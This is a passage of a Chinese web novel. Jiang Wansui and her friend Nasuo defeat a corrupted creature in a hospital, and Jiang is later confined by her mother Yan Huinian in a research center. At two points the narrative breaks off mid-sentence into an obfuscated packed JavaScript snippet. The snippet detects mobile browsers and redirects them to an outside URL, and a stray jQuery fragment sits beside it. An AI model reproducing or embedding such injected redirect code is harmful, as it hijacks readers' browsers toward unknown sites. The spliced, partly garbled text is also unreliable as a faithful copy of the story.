就在那浊异人再度扑来之时,姜万岁猛然以大力将厕所门向后推开,同时自己则又向旁边闪避了一步。这回她的动作慢了,病号服右臂的袖子直接被浊异人撕下去一大块。“刺啦”一声,暴露在空气中的皮肤骤然感觉到了寒意。 此时姜万岁已管不了那么多,方才被她全力摔向后的厕所门又弹了回来,她眼疾手快一把拉住,同时用另一只手飞快给它上了锁。 直至听见微弱的“咔哒”声,姜万岁才终于吐出口气来。她紧忙又将锁孔中的钥匙拔出,可手上却越发失力。 危机暂时不太危机了,可在这样剧烈运动后的姜万岁觉得自己身上又开始虚脱冒汗,一直在紧张中支撑的心肺也有些泄力似的。她勉强拿着钥匙后退,给自己努力打着气,按着心口调整呼吸。姜万岁听着厕所中传来的撞击声,十分担心这一扇门恐怕也拦不了太久,又向门边的蓼满看去。 ——值得庆幸的是,这家伙确实没有在殴打空气了,现在她的攻击目标又加上了门后墙侧的那一排置物柜。“磅哧磅哧”下是一片木屑飞舞。 姜万岁目测了一番她那三百六十度无死角的攻击范围,当即取消了上前的想法。 先找找她给的那个什么“珠”吧!希望能真的有用……姜万岁现在心口发慌、四肢也快没力气了。 她回想着那珠子该是向后滚去,就急忙拖着身子转身寻找。可偏偏越着急越找不到,耳后那厕所门的击打声更是越来越大。 “姜万岁。” 突然一声,姜万岁被吓了一跳,她转过身,见到来人时却忍不住面露惊喜。 “娜索!” 门边正走进一个跟她差不多大的少年,不高不矮,不胖不瘦,从头到脚都穿的黑色,头发则是有些发白的银灰色。她长着一张轮廓分明的脸,高鼻深目,面上的神情则很是寡淡。在确认了朋友的身份后,她就向里走来。 娜索全名娜索·维一,正是姜万岁在东区认识到的朋友,原本她还想去医院看望娜索——这也是两人的约定,没想到这时候却是娜索先找了过来。 前几日,娜索因为过敏而住院了,这病倒也不难治,她是为了等待姜万岁才没有出院。后来她决定出去寻找,没想到却是在后方的“异能住院部”发现了姜万岁的气味。 娜索踏进病房时脚步顿了顿,这个房间中无论声音还是气味都有些混乱,不过她只认准自己的目标。 她看到姜万岁已经兴高采烈地向她招手,就加快脚步向她走去。 “——娜索!娜索你听得到吗?你先别过来啊啊啊!”姜万岁有些崩溃,在她见到娜索后的一切提醒都被对方忽视了。墙后有陷入幻觉的蓼满,厕所关着马上要破门而出的浊异人,这怎么想都不是能安然踏进来的区域啊……不对,娜索也中了那浊异人的异能力!该死的,它都被关起来了怎么还能发作? 姜万岁呼出一口气,想着娜索的攻击性肯定不强,就也驱步上前。可就在这时,厕所的门发出“轰隆”一声响,那只浊异人竟直接打碎了门从内蹿了出来。 “娜索!!” 娜索好悬没有经过蓼满的攻击区域,却已经走到了厕所附近。浊异人已经冲了出来,她却毫无所觉。而那浊异人碰到了拦路的,一把就将她拍开了。 “咚”的一声,娜索直接被拍到了墙上,可她却扶着墙很稳地站住了。紧接着她回过头来,鼻下缓缓淌出了一行鲜血。 鼻血被伸手抹去,娜索似乎皱了下眉,就在姜万岁心中发紧时,她却骤然转动脑袋,精准“望”向了她的方向。 转瞬间又是“砰”的一声,她竟然像个炮弹似的冲了过来,一下就将那只同时扑近的浊异人撞飞了。 姜万岁:“……诶?!” “姜万岁。”循着气味,娜索准确地来到了朋友身边。哪怕看不到、听不见,她仍然对自己的判断很有信心。 “娜索,你也太强了吧?!”姜万岁又惊又喜,知道她还在幻觉中,就直接拉住了她的手。而就在二人肌肤相触之时,娜索的睫毛微微颤了下,视野中的一切终于恢复了真实。 “姜万岁。”她回应着叫了一声,在姜万岁的称赞中垂了下眼睛,再多的话却说不出来。 “娜索!”姜万岁还想说什么,可看到她后方的浊异人再度要扑过来,便急忙拍她的手臂。娜索也同样察觉到了异动,她直接将姜万岁抱起,一跃又避开了浊异人的攻击。 “去蓝衣服那里!”姜万岁来了帮手,又想到了办法,“我们先躲到她后面。” 蓼满在打烂了柜子后,已经开始继续向内移动了,她身后的空间也越来越大。娜索立即行动,在视野清晰之后,她的动作相当灵活,几下绕开了蓼满的攻击,带着姜万岁站到了她的身后。 这下蓼满终于打到了真正的敌人,追击而来的浊异人一个没防备就被她一掌扇歪了。 “走吗?”娜索问,心想她其实跑得也很快。 “不,你帮我,我要解决它!”姜万岁坚定地摇头。她的视线还在向内搜寻,从这个方位视野中,姜万岁终于发现了蓼满口中的那颗黄澄澄的回源珠,原来它是滚到了床底。 “娜索,你再把我带进去!我要到床底下去!”姜万岁大喊,“我一定要干掉它!” 娜索点头,没有任何异议。然而这时,蓼满却也身形一晃,突然从两人前方移开了,浊异人的眼中和耳朵中涌出了越来越多的黑色粘稠物,看来它更改了针对蓼满的幻觉,竟然又将她引到了一边。 娜索再不迟疑,突然拧身向一侧闪去。她的动作太快,浊异人竟没能拦截成功,只能再度跟在了后面。娜索将姜万岁放在了室内唯一的病床边,回身就又向浊异人撞了过去。 又是“砰”的一声,可是这回那浊异人却只是后退了几步,它一把就将娜索挥开了。这时娜索的眼前、耳边又出现了幻觉,她晃了晃脑袋,决意只根据气味来定位对手。 娜索再度靠着墙稳住身形,蓼满的攻击却也正好在旁边,她急忙矮身闪避,脚步后蹬,又化身成了一个黑色炮弹向浊异人撞去。 姜万岁已经抓紧时间爬进了床底,她动作很快,一下便将那孤零零回源珠捞在了手里。也正是在她握住这珠子时,一股看不见摸不着的温暖的能量霎时便源源不断涌入了她的四肢百骸。姜万岁的心跳渐渐平静下来,她的喘息不再急促,周身也充满力量。 姜万岁甚至感觉到,有一股陌生而又极其熟悉的力量正在体内苏醒、涌动,渐渐汇集成了明快的河流。她就在这河流的响声中而感到快意与昂扬。 ——我又行了! 浊异人,受死吧!! 她兴冲冲斗志满满,一挺身,却不防先“咚”的一下自己撞上了床板。姜万岁抱住头,痛得眼角窜出了点泪花。 ——该死的床! “轰——” 陡然巨响之下,头上整个床板被撕碎掀飞了去。姜万岁转头,果然是那个浊异人又追了过来,娜索被它甩在后面,是让蓼满给拦住了。而它死死地“盯”着姜万岁,五官中都淌出了浊黑的液体。 姜万岁顾不得头痛,一扭身立刻站了起来,伸手就直接向扑食而来的它打去—— “给我退!!!” 耀眼的、盛大的白光乍然从她的掌心溢出,摧枯拉朽一般朝浊异人清缴而去,它的身影在光中开始扭曲变形,不消片刻,浊异人的身形便同室内的一切污浊一起都消失了一干二净。 “呼——” 姜万岁啪”的一下摔在了地上。她这次似乎没有力竭,只是意识开始变得恍惚,身体的各处角落都开始鼓胀出某种疼痛来。 “万岁!” 浊异人消失后,蓼满的幻觉也被解除了,她累得气喘吁吁,暂时先没管这个被自己拦下的陌生少年,而是急急地向姜万岁奔来。 她将手放到了姜万岁左手紧攥的回源珠之上,一股温和的光芒散发出来。蓼满查看着姜万岁的状态,将她揽进了怀里。 回源珠是由巫族嬅柚山晶制作成的,能够快速补充人体的异能量,对于经常作战的异能者来说是相当实用的宝物,而巫的能量则能让它把作用发挥到最大。但就因为它的作用太强,蓼满在赶来后才不敢贸然就给瞧着相当脆皮的救世之星使用,万一“虚不受补”,对于才初步觉醒异能的姜万岁来说那很可能有害无益。 蓼满原本是想等姜万岁的情况稳定一些再尝试着给她“补一补”,可没想到浊异人先来了,情况危急她也管不了那么多……好在现在看来,姜万岁的身体还没那么糟,到底撑住了。蓼满现在要引导着那股暴动的能量平稳、柔和下来,将它从姜万岁的体内抽回。 “哇”的 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蓼满还没来得及去查看那名受害医生的情况,但也能判断出对方的生命体征一切正常。蓼满需要尽快给姜万岁换个病房,以及联系人查清楚——明明是在戒备森严的医院,怎么浊生体竟然竟然能伪装成医生混进来? 蓼满将姜万岁先抱了起来,这时病房外急匆匆传来了一阵脚步声。姚锦在前,身后跟个数位神情戒备的异能者。她看到病房中的情形就是一愣,发现蓼满时才松了口气。 “你们来晚了,”蓼满叹了口气,“善后吧。” * “……她是外环部中心医院精神科的主治医师,现在已经清醒了过来,正在接受检查。她原本的异能力就是精神抚慰和知觉扭曲相关的能力,污浊侵袭后浊生体也继承了这部分的异能力并发挥到了极致——甚至把她这个宿主也蒙蔽了。她忘记了具体是在什么时候遇到了污浊,还以为是自己近期工作压力大造成的遗忘,每次‘看到’的体温计测量结果也还正常,于是今天也照常来了医院。浊生体对医院附近的护卫兵也施展了蒙蔽,我回来时才察觉到了不对……” 异能养护科某间病房外,姚锦正在给风尘仆仆赶来的晏徽年汇报调查的情况。隔着窗户,晏徽年将视线收回,低声说:“它为什么要混进医院?” “啊?”姚锦愣了一下,紧接着便反应过来了她的言外之意,思索着说,“浊生体侵染人类,甚至可以说是以人类为食。换句话说,只要是人类,就不会被它们无视。可这回医院里明明那么多人,精神科的治疗科室和异能住院部都不在一栋楼里,可它偏偏就来找到了万岁……还有上次那只浊异兽,它只是撞晕了那名环卫工,却并没有吃掉她……” “最大的可能是,”晏徽年又将视线投向了病床上的身影,“她对它们的吸引力远非常人可比。” 病房内,姜万岁正在输液,几名医护人员还在周围检查她的情况。她的脸陷在枕头中,看上去精神不太好,恹恹地垂着眼皮。 “是啊,也是在万岁来到东区之后,这里的污浊突然增多了。”姚锦恍然。 “救世之星与污浊是毕生之敌,”蓼满也在外面,满是惭愧地说,“这次是我太疏忽……” 作为巫,她的感知觉本就比平常人更敏锐,她也更依赖以它们达成与自然万物的沟通,没想到这回却正好被精神系异能蒙蔽了。大巫母指派她来完成这项任务,也是对她的历练,可这才一开始她竟然就险些让救世之星出了事…… 蓼满想到姜万岁额头上那个被砸出来的红印子,更惭愧了。 “如果不是你,情况只会更糟糕,”晏徽年一向情绪平稳,宽慰道,“是我们都疏忽了。” “现在不能再耽误了,”她又对姚锦说,“我们要尽快返回心城。” 心城是东区的核心,那里有更先进的异能研究与医疗中心,能够对姜万岁的异能和两个“净化物”进行更详细的研究。姜万岁还太过弱小,如果一直留在这里,不仅是她,整个外环部都会越来越危险。 “今晚,新一批异能军会抵达,”晏徽年显然做好了安排,“趁这段时间,你去准备几个小型的隔离罩。” “好的。”姚锦应下,她端详着晏徽年的神情,问道,“您要进去看一看吗?” 晏徽年没说话。这时,病房内的医生护士完成检查也要离开了。一个穿着黑衣服的少年就出现在姜万岁的病床边,她将一块叠得齐整的红围巾放到了她的枕旁,守着她坐了下来。 “那是谁?”晏徽年来得晚,没有和她碰过面。 “是万岁的朋友,”蓼满回想着姜万岁强撑着跟自己说明娜索身份时的倔强,没忍住笑了笑,“是她帮助万岁打败了浊异人。” 5. 关于住院的那回事 病房之中,姜万岁看着娜索走近,对她露出微笑来。 “谢谢你啊娜索,”她说,“还记得给我捡围巾……” 娜索摇了摇头,表示不用在意。她记得姜万岁说过这条围巾很重要,在床的碎屑中发现它时就顺便带了过来。现在娜索更关心姜万岁的身体,她询问:“你还好吗?” 姜万岁的目光在自己手上扎的针头扫过,她现在还脑袋疼,身体也动弹不了多少,当然算不上好。于是她短短地叹了口气,换了个话题说:“娜索,你怎么知道我在这里?你怎么找来的?” 娜索说:“我记得你的气味。” “什么……又是‘太阳的气味’吗?”姜万岁被这个说法逗乐了。 娜索见到姜万岁笑了,神态也放松了一些。她认真点头:“是的。你身上,有太阳的味道。” 这也是娜索和姜万岁初次见面时说过的话。 娜索要比姜万岁更早来到东区,也是被接纳的流民。她出生在一个寒冷的地方,也习惯忍受寒冷。娜索有能让皮肤坚硬起来的异能,这也是在寒冷中训练出的能力,除此之外,她的嗅觉分外敏锐,能闻到每个人身上不同的“味道”。 这种“味道”不是生理性的体味,而更像是人体内潜藏异能的某种征兆,每个人身上都不同。有的人身上的味道庞杂而强烈到像是燃烧的汽油,有的人却像白开水似的寡淡无味。娜索闻到过很多种不同的味道,唯独有一次,她闻到了太阳。 ——就是一个寒冷的鼻子没办法拒绝的暖阳的味道。 娜索想把它找出来。她已经习惯了寒冷,可太阳始终令人向往。 循着“味道”,娜索很擅长追踪,她几乎没费多少功夫就找到了那个似乎正在街上游荡的、穿着灰色衣服的人影。那就是太阳气味的来源,娜索立刻悄悄跟上了她。 她看起来跟娜索差不多大,不,应该要更小一点。她对街上的一切都很好奇,走走停停,时常会在一些店门外驻足观看,之后又飞快溜走。不一会儿,娜索便看着她经过了一个拐角,等她也跟上时,却发现拐角那边对方正抱着双臂、表情不善地等待着。 “你跟着我做什么?!”姜万岁板着脸,“你是小偷吗?想进局子吗?” 娜索有些无措、僵在了原地。她是寡言少语的性格,在紧张的情况下就更不容易开口。她的嘴巴张了张,始终没挤出声音来。 姜万岁见她不说话,又继续恫吓:“我现在就把你抓到局子里去!我妈是局长!” 这下娜索感到慌张了,她把学习到的东区安全守则记得很牢,绝对不想被抓进去。她也不想继续被人误会,于是就努力开口解释。 “我不是小偷,我闻到了你的味道,”她说,“太阳的味道。” “什么?”姜万岁听着莫名其妙,她下意识举起手臂来闻了闻自己的胳膊,没觉得有什么味道,又仰头看了看——今天还是很寻常的阴天,她忍不住质疑道,“你在耍我吗?” 娜索摇头,见她不信心中也着急,偏偏笨嘴拙舌之下想不到更好的借口,只能又恢复了沉默。她思索着,索性将一直被在身后的手拿了出来,原来她还拿着一块包装好的奶油蛋糕。 姜万岁一下就瞪圆了眼睛,她认出这是自己徘徊在店外时心动的甜品——因为从玻璃门的反光中看到有奇怪的家伙似乎在跟着,所以才暂时按下了念头。 娜索见她不说话,又将手里的东西向前递了递。 “给你。” 姜万岁的视线完全被吸引了,她下意识吞了下口水——这确实是她很想要的那块蛋糕啊,奶油裱花的,一看就很香甜、很好吃…… 从小到大,姜万岁一直都有很旺盛的食欲,她也热爱吃东西、尤其是甜食,但消化系统却负担不了太多。姜千遂不得不给她节制。现在好不容易出门,姜万岁就忍不住想放纵一回。 ——虽然这种小蛋糕看上去一定很贵,但她正好有一笔钱要花出去。 ——可恶,怎么会给别人买了呢?! “……干嘛给我?”姜万岁用尽全身的意志力才将目光收了回来,继续用冷酷无情的语气说。 “嗯……”娜索看了眼她又飞快将目光收回,“抱歉。” 姜万岁一边保持着犹疑,一边则磨磨蹭蹭地走近了。她昂着头打量着娜索,觉得她不像会耍诈的人——虽然是个少白头,但人看着还挺老实的。 娜索被她看着,只是垂着头将蛋糕往前递。 “这个东西不便宜吧?”姜万岁问。 “嗯,一百新币。”娜索回答。 一百新币……这里的馒头一新币能买到五个,姜万岁吃一个就顶饱。这确实不便宜。姜万岁想着,又问:“那你哪里来的钱?” “我到了这里之后在联盟会工作,每次完成任务,就有赏金。”娜索一板一眼地说着,又补充道,“我不是小偷。” 东区有几个私立的异能者联盟会,异能者在年满十七岁后就可凭资质申请加入,并接取联盟会中的任务以获得相应的报酬。娜索【识味追踪】的能力很实用,她经常能接到帮助居民找寻失物的任务。最近一次,她帮助一位老太太找到了那只忙于在外征服地盘的狸花猫。那是一只很叛逆的猫,娜索在抓住她时也费了不少功夫。后面失主为了补偿她的辛苦,特地多给了一倍的赏金。这些奖金再加上一些她之前攒的,正好够买下这一块奶油蛋糕。 “——你也是从外面来的?”姜万岁抓住了她话里的另一个信息,神态变得松动下来。因为她是受到了赶路的姨姨姐姐的帮助才顺利来到了这里,所以对于东区的“外来者”也容易心存好感。 “是……”娜索不明所以地点头。 于是姜万岁觉得已经完全没有理由再拒绝这块蛋糕了,她故作矜持,以某种生怕对方后悔的速度将蛋糕接了过来。 “看在你还算有诚意的份上,那我就收下这个赔礼了!”姜万岁很开心,想了想又问,“嗯……你在这里已经有了工作,那你对这里也很熟悉咯?” 娜索见她将蛋糕小心翼翼地捧在手里,自己心中也升起了一点小小的雀跃,这时就继续说:“是的,东区的很多地方我都跑过。” “……那我可以把蛋糕分给你一半,”姜万岁说,“你来当我的导游怎么样?” 姜万岁初来乍到,对东区的一切都既好奇又陌生。比起自己瞎逛,找个导游是让自己更快了解这里的选择。 “好的。”娜索应了下来,她也没细想为什么对方母亲是局长又需要“导游”。她顿了顿又说:“不用给我蛋糕。” 娜索对于甜食没有特别的热衷,她认为食物只要能填饱肚子就好。这么小的一块,全部给她都吃不饱。更何况它已经被送了出去。 姜万岁盯着她瞧了一会儿,在娜索紧张起来的时候突然笑了。 “可是你肚子叫了诶,”她挑眉说,“我给你的你也不吃?” 娜索下意识捂了捂自己的肚子,反应过来后才说:“没有叫……” 姜万岁已经转身走了。 娜索自觉跟了上去,后面也没能拒绝姜万岁递到手里的另一半蛋糕。两人找到了公园的一处长椅,坐在上面一起吃蛋糕。 “怎么样,很好吃吧?哼哼,我可是一眼就看中了!”姜万岁每当吃饭时就会变得开心,人在一开心起来就容易多话。而娜索是一个很好的听众。无论姜万岁叽里咕噜说起什么来,她都听得认真。 “……所以,我妈妈就从树上跳下来,一拳把狗熊打死了!” “你妈妈真厉害。”娜索由衷地赞叹。 姜万岁与有荣焉,高兴得两排大牙都露了出来。她给娜索讲起了自己母亲的经历——其实很大一部分是她从母亲的零星言语中推断出来的,姜千遂总是避免在女儿面前说起工作,但耐不住姜万岁的观察力和想象力强。姜万岁也对自己的推断深信不疑,在好不容易有个听众时讲起来也是绘声绘色的。现在发现娜索开始崇拜起了自己的母亲,那就更开心了。 虽然这人一开始奇奇怪怪的,但是相处下来感觉人还不错嘛。姜万岁心想。 一块蛋糕很快就被两人吃完了,姜万岁收拾着包装纸,状似用随意的口吻对娜索说:“喂,你要不要跟我当朋友?” 娜索愣了愣,立刻点头说:“要的。” 姜万岁挺起胸脯,彻彻底底地开心起来。这还是她交到的第一个朋友呢。 “那我们就是朋友啦!”姜万岁又拉着娜索站了起来,她兴高采烈地说,“现在轮到我请你了!蛋糕你根本没吃饱吧?现在我带你去吃大面包!我今天才发现的,那家店里新出的,是用店里新到的‘芒果’现烤出来的,闻着就很香,好多人都排队呢……” 娜索傻傻地被她拉着走,好一会儿才悄悄地抿唇露出了个笑,紧接着又听姜万岁回过头问:“娜索,你吃过芒果吗?” 娜索摇头。 东区内的物资虽然不匮乏,但也算不上丰富充盈,毕竟区外还有浊生体的存在,大门也是会定期闭锁的。区内最常见的水果是苹果和桃子,其它的则大多依靠于向外的采购和运输。就比如面包店中用到的芒果,店主声称是专门雇佣了异能者小队才从南部的无人区采摘而来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其实一开始是在骗你,我以为你是坏人,”她低声说,“不过我后来说的话可都是真的。” 娜索怔了怔,也同样拉住她的手,低声说:“好的。” “什么‘好的’?”姜万岁又有些想笑,她想到什么,突然问,“娜索,你的工作呢?会耽误吗?” 娜索想了想,摇头说:“不会耽误,想做就做。” “原来是这样啊,想做就做、想不做就不做,”姜万岁理解了她的意思,又问道,“娜索,这份工作,是异能力的工作吗?你的异能力是什么?娜索,你攻击浊异人的时候简直太强了!” 娜索垂下眼睛,耳垂有点泛红。她说:“是的。我有两个异能力,一个是【识味追踪】,能根据气味找到物体的位置;还有一个是【坚如磐石】,我可以把身体的皮肤变得向石头一样坚硬,当做武器进行撞击。我跑得也很快……” 说着,她将自己的袖子挽起,让姜万岁触摸自己发动了【坚如磐石】异能的肌肤。姜万岁好奇地碰了碰,那里果然是顽石一样坚硬的触感。 “太厉害了娜索!你也太强了”姜万岁大力称赞,“你是超女战士,是大英雌!认识你,我真是太有福气啦……” 娜索又越来越不好意思了,但还是静静地听着。等姜万岁终于把夸她的话都说完,娜索才闷着通红一片的脖颈,说道:“万岁,你的异能也很厉害。” “我也觉得,”姜万岁有点小骄傲,她想了想接着说,“你不知道,你见到的那个打空气拳的蓝衣服大姐姐……” 姜万岁将自己觉醒异能后经历的事都告诉了娜索,不过说了这会话大概已经耗光了她的精力,输液瓶里的药剂也开始发挥作用了。她强撑着睁着眼睛,说话的语速却越来越慢,最后终于陷进枕头里睡着了。 娜索于是把她的手也放进了被子里,又给她掖了掖被角,仍旧守在那里。 不知过了多久,病房中紧闭的门被推开了。娜索警觉,转头看去,发现是一个陌生的年长女子。 她看了对方一眼,又下意识去看姜万岁。 “我是她的母亲。”晏徽年迈步走到了床前,放轻了声音对她说,“你们关系很要好。” 娜索急忙也站了起来,鞠躬说:“您好,我是娜索·维一。” 她回忆起姜万岁对母亲的描述,其实是有点困惑的——她的鼻间辨认出的气味浅淡,说明这位阿姨很大可能是普通人。说强壮,她确实比万岁强壮,可阿姨真能打死一头熊吗? 娜索趁着抬头,又谨慎地看了晏徽年一眼,发现这时对方的视线已经停留在了病床上。晏徽年凝望着姜万岁的面颊,又很快地收回视线。 “娜索,我想跟你谈一下,”她说,“你方便吗?” 6. 母女间的走心交流 姜万岁睡了很长的一段时间。等她醒来后,才发现自己似乎换了个个新的地方。原本四周洁白的墙壁变成了天蓝色,病床也换成了一个带着透明玻璃罩的舱体,她似乎睡在一汪软乎而温暖的水里,头顶还有柔和的光持续照耀着。 “噌——”随着她起身,蛋壳一样的玻璃罩向两侧打开。姜万岁看到自己身上不知何时换成了一套蓝色便衣,原本的那身加上自己的围巾都被安置在了舱体一侧的篮子中。 她缓缓地眨了下眼,原本还觉得身体湿漉漉的,可甫一接触到空气,那些在体表的液体霎时便蒸发了干净。不仅如此,舱体内也瞬间干燥了起来。 她感到好奇,不禁伸手摸了摸,发现下面像是柔暖的海绵垫,半点也没有水分的踪迹。姜万岁收回手,环顾一番,发现房间里原来还有一个人。她坐在离舱体不远的沙发上,手上正拿着一叠文件阅读。 “这是研疗中心研发出的静息疗养仓,以疗养液辅助光波治疗,”晏徽年说,“对你的状况而言,它比静脉输液和回源珠更适合。” 姜万岁立刻将自己好奇的神情收了起来。她盯着晏徽年看了一会儿,连声问道:“现在是在哪里?娜索呢?你为什么在这里?” 晏徽年将手中的文件放下,她回答说:“现在是在心城的异能研疗中心,和外环部相比,这里更适合你恢复。” 姜万岁脸色大变,“噌”的一声就从床上跳下,她一把将自己的衣物全部抱起,大步向门口走去。 晏徽年看着她动作,一言不发。 姜万岁气势汹汹来到了门边,一拉门却拉不开。她又使劲活动了一番把手,还是打不开。 “医生建议你苏醒后继续休息三十六个小时。”晏徽年出声道。 姜万岁猛然转过身,瞪着她说:“我不要在这里!放我出去!” “你不要在这里,”晏徽年低声复述了一遍她的话,问道,“你想去找姜千遂?” 姜万岁神情中浮现惊诧,紧接着它又被恼怒和戒备覆盖。她喊道:“不用你管!你管不着!” 晏徽年没对这句话做出回应,她拿起了手边的一个遥控器。“滴”的一声,投屏被打开,原本湛蓝的墙体之上覆盖了一层黑幕,一段影像在上面播放。 画面中是大片浓黑而绵延不断的污浊,和其中数不尽数的浊生体,它们前扑后拥地挤在东区外的隔离罩之上,发出此起彼伏的嘶吼声。而在东区内,在外环部某条令姜万岁感到眼熟的街道上,也有接二连三的浊生体流窜,身穿军装的异能者则在前后围捕,力求将它们尽快剿灭。 “这就是现在浊生体爆发的现状,”晏徽年说着瞧了姜万岁一眼,“很危险。” 姜万岁立刻说:“我不怕危险!” “那么她呢?”晏徽年轻声问,“她怕不怕你危险?我换句话说,你怕不怕她危险?” 姜万岁没了声音。 晏徽年将她的表情尽收眼底,继续说:“你只要出去,就一定会遇到危险。这些怪物全部都是冲着你来的。” “什……” “仔细想想你遇到的那两个浊生体,”晏徽年说,“这种事一看就明白了。我想蓼满已经向你说过,你觉醒了一项绝无仅有的异能力,而它也对浊生体有着前所未有的吸引力。当然,这些还需要进一步的研究。但确定无疑的是,姜万岁,现在的你还没有足够的能力——甚至是自保的能力。” 姜万岁渐渐攥紧拳头,瞪着她没作声。 晏徽年也同样看着姜万岁说:“你现在出去,一定找不到她。哪怕运气顶天,在万万分之一的概率下你能和她相遇,伴随你们的也只是无穷无尽的危险。你愿意让亲人陷入危险吗?” “这不是一个好的选择,”晏徽年微微叹了口气,放缓了语气继续说,“在出发前我已经联系了治安局的相关部门,一旦发现姜千遂的消息立刻上报。而对你的建议,我希望你能尽快成长起来。” 她从口袋中拿出了一条项链,纯黑的丝绳上串着颗莹红色的珠子,闪耀着轻盈而细密的光纹。 “这是红珠屏障器,在外能一定程度上屏蔽并混淆你的异能波动,避免污浊找到你。” 姜万岁瞥了那项链一眼,冷着脸不为所动。 “你想不想知道娜索在哪里?”晏徽年又问。 姜万岁的脸上闪现惊疑,她瞪着晏徽年没说话。晏徽年微微一笑,向她示意手里的屏障器。 然而姜万岁将脸狠狠地又别了过去,同时脚底生根似的,依旧一动不动。 晏徽年望着她嘴角下垂、一副受了天大骫屈咽不下气的样子,又叹了口气,自己起身向姜万岁走了过来。 她在姜万岁身前站定,姜万岁仍旧昂着下巴不看她。晏徽年也不以为意,只伸手将屏障器向她头上套,姜万岁脖子一动立马躲开。晏徽年动作顿了下,换了方向继续套,姜万岁非常灵活再次躲开。 晏徽年淡淡瞧了她一秒,突然用一只手扶住姜万岁的头,另一手撑开屏障器飞速给她套了下去。 “——啊!”姜万岁大叫着跳开,一手扯住了屏障器立刻要拽下来,可那黑绳在下落后自动调整到了合适的长度,不会勒着她的脖子、也不会过于宽松。姜万岁使了老鼻子的劲儿都没能成功将它摘下来。 “你!!!”姜万岁气得咬牙切齿。 晏徽年这时已退了一步,她仍旧以平稳的语调说道:“等你做完全面的检查后,就会进入异能训练营学习,在那里你会学到更全面的关于异能的知识。” 发现姜万岁没有要回应的意思,晏徽年也不再多留。正好这时,不远处传来了一阵敲门声。 晏徽年上前几步,在把手轴端按下自己的指纹,随即“咔哒”一声,门就自动开了。 在门外的是姚锦,她看上去有急事要汇报:“首席,刚刚殷指挥长……” 她的话还没说完,就见正安然出现在门后的晏徽年的脸骤然向旁闪去,猝不及防发出了“砰”的一声,紧接着门被拉大,一个穿着病号服的影子猛然蹿了出来。 “——万岁?!” 姚锦也被撞了一下,呆了一秒才看出来那个影子就是还在养伤的姜万岁。她急忙追上前去,几下就将姜万岁按住了。因为这孩子挣扎得实在厉害,姚锦一咬牙,直接将她扛了起来向回走。 “万岁,你可不能出去啊……” “啊啊啊啊啊啊啊放开我!!!”姜万岁却发出了足以震天撼地的大叫,她在姚锦的肩上扑腾,“啊啊啊啊啊啊啊啊……人贩子!放开!!救命啊啊啊啊啊啊啊……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896369|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚锦觉得自己的耳朵要被震麻了,眼神偶然一扫,发现走廊边还有人来看,她立刻加快了脚步。 在疗养室门口,晏徽年已经站了起来。她平素齐整而不见一丝褶皱的衣服有些凌乱,发丝也扫到了额前,手臂上还沾了泥土。在疗养室靠门的墙壁边一直放着几盆绿植,方才姜万岁的那一撞直接把她撞了进去。现在绿植已七零八落地倒在地上,晏徽年呼出一口气,缓缓伸手将自己头顶的一片叶子摘了下来。 “——晏徽年!我记住你了晏徽年!”这时被扛过来的姜万岁见了她还拧着身叫嚣,“你给我等着!晏徽年!晏徽年!!!” 姚锦看了眼晏首席的脸色,一时间只恨自己不能多长出只手来捂住她的嘴。 “……丢进去,”晏徽年平静地说,“不满三十六小时不许任何人探视。” 姚锦忙应下,也不敢真的丢。她快步将挣扎不止的姜万岁重新扛进室内,可一将她放下,姜万岁就不顾三七二十一向外冲,姚锦拦了好几回,最后实在没办法又将她扛了起来,终于采纳了晏徽年的建议,隔着一段距离把姜万岁准确投掷到了沙发上,随后火速关门退出。 直至门自动锁上她才松了一口气,伸手抹去了额间渗出的汗,心说:真想不到啊,晏首席这个喜欢看书喝茶的安静性子能生出来这么闹腾的…… 姜万岁现在还“体质虚弱”呢,她强壮起来后是什么样……姚锦都不敢想。 晏徽年已经皱眉将仪容重新整理了一番,见姚锦走近,便问道:“你刚刚要说什么?” 姚锦正色说:“刚刚殷指挥那边来了电话,她们过会儿也会到研疗中心来……说不定已经到了。” 姚锦心中猜测:殷指挥长必定也对万岁的净化异能感兴趣,她又向来和晏首席不和……这趟前来,恐怕有些不怀好意。 晏徽年略一挑眉,没多说什么,便迈步向外。姚锦则紧随其后。二人的身影很快就从走廊中消失。 而疗养室内,姜万岁在再三尝试发现仅凭自己出不去后,也终于力竭了。她拖着身体倒在沙发上,静静听着心脏的跳动声,等待着气力恢复。 过了好一会儿,她才动了动手指,伸手去摸自己的额头。没有汗水、也没有发烧……她长长吐出口气来,觉得自己的身体似乎比之前好了一点,以前她要这样早半路厥过去了。 姜万岁不经意间又蹭到了脖子里的珠子,一肚子邪火简直没处发——她现在实在没有那么多劲儿了。尽管如此,姜万岁还是再度努力而执着地拽住它扯了一会儿,不仅手动、身体也跟着,然后突然听见了“唰”的一下,像是纸张的声音。 姜万岁一下想起了晏徽年留下的文件。她最后扯了一下屏障器无果,索性翻过身来,果真发现了一沓纸。 姜万岁将这些纸拢到眼前,一看却愣住了,因为那文件的标题上写着:《卵子志愿捐赠者0689号姜千遂履历表》。 ——这是我妈的信息? 姜万岁打起精神来,正要仔细阅读,直觉却突然发出了一种危险的预警。她霎时觉得如芒在背,将文件收起后立刻从沙发上坐起,环顾四周之下,一切都是安安静静的,似乎并无异常。 可姜万岁还是觉得不对、很不对——直觉告诉她,有东西正在窥伺。